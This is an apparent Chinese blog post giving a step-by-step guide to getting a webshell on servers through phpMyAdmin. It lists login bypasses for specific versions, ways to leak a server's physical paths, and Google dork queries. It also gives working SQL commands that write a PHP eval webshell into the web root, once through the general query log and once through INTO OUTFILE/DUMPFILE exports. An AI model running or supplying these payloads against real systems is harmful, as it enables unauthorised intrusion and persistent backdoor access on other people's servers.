PhPMyadmin拿Shell

phpmyadmin

是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,      --百度百科

 

 

1.入口寻找

目录扫描:

根据Linux对大小写敏感判断目标服务器是win还是Linux

CMS特性

通过Google Hacking寻找

2.口令爆破

3.远程代码执行漏洞等

4.后台bypass(万能密码)

phpmyadmin2.11.3-2.11.4 这两个版本存在万能密码,直接使⽤‘localhost’@'@”为账号,密码不⽤输⼊。
phpmyadmin2.11.9.2 这个版本存在空口令。直接root⽤⼾登陆,密码不⽤
 

5.Getshell

5.1通过报错获取物理路径

如何报错?⼀般就是加 ' 等特殊字符
解析器(Web容器、中间件)报错
如 IIS7.5,如何报错?⼀般就是加⼀些不存在的⽬录名字

 

 

5.2通过google爆路径

结合关键字和site语法搜索出错⻚⾯的⽹⻚快照,常⻅关键字有warning和fatal error。注意,如果⽬标站点
是⼆级域名,
site接的是其对应的顶级域名,这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw "atal error

5.3根据正常安装文件路径猜

c:/phpStudy/phpstudy/PHPTutorial/WWW/

5.4读取解析器的配置⽂件 

正常
正常情况我们是⽆法得知解析器的配置⽂件的,这个时候就是尝试解析器默认的安装路径。
取巧
假设某种情况下,我们得知⽬标是⽤的phpstudy,可是不是在默认的路径,我们就可以读取路径 select
@@basedir ,得到路径后,推测⽹站路径。

 

 

5.5旁站报错

什么是旁站?旁站是和目标网站在同一台服务器上的其它的网站。

⽐如⽬标站是 www.target.com ,它的邻居(旁站)
是:www.victim.com ,邻居⽹站有注⼊,加 ' 后爆出它的⽹站某个⻚⾯路径是:c:/wwwroot/victim/news.asp ,那
你根据这个推测你的⽬标站点的路径就有可能是 c:/wwwroot/target/ 
 

5.6phpinfo页面查看路径

scrver_filename:当前页面物理路径

 

5.7网站源备份

 

 

6.1通过日志拿shell

原理,phpmyadmin有⼀个general log的日志⽂件,但是⼀般情况下会关闭,开启⽇志记录,然后设置⽇志记录名称为.php,随便执⾏
sql语句,只要包括⼀句话木⻢就会被写⼊到⽇志中去,然后就可以连接getshell。 

通过sql语句将日志文件打开

set global general_log='on' //⾸先设置为on

 

 

set global general_log_file ="F:\\phpstudy\\WWW\\3.php"  \\ 将日志文件导入到.......php文件下

 

#执⾏⼀条带有⼀句话⽊⻢代码的SQL语句,如:
select “<?php eval($_POST['mima'])?>”; 

 

 

查看文件

 

 菜刀链接

 

 

 

6.2通过导出拿shell

6.2.1正常导出拿shell

姿1. SELECT "<?php phpinfo();?>" INTO OUTFILE "E:\\wamp\\wamp\\www\\2.php"  
姿2. SELECT "<?php phpinfo();?>" INTO dumpFILE "E:\\wamp\\wamp\\www\\2.php" 
outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
 

6.2.2创建表导出

CREATE TABLE a (cmd text NOT NULL);
INSERT INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
DROP TABLE IF EXISTS a; 

5.2.3. 猥琐型导出 

 

posted @ 2020-12-25 16:46  二十四、  阅读(251)  评论(0编辑  收藏  举报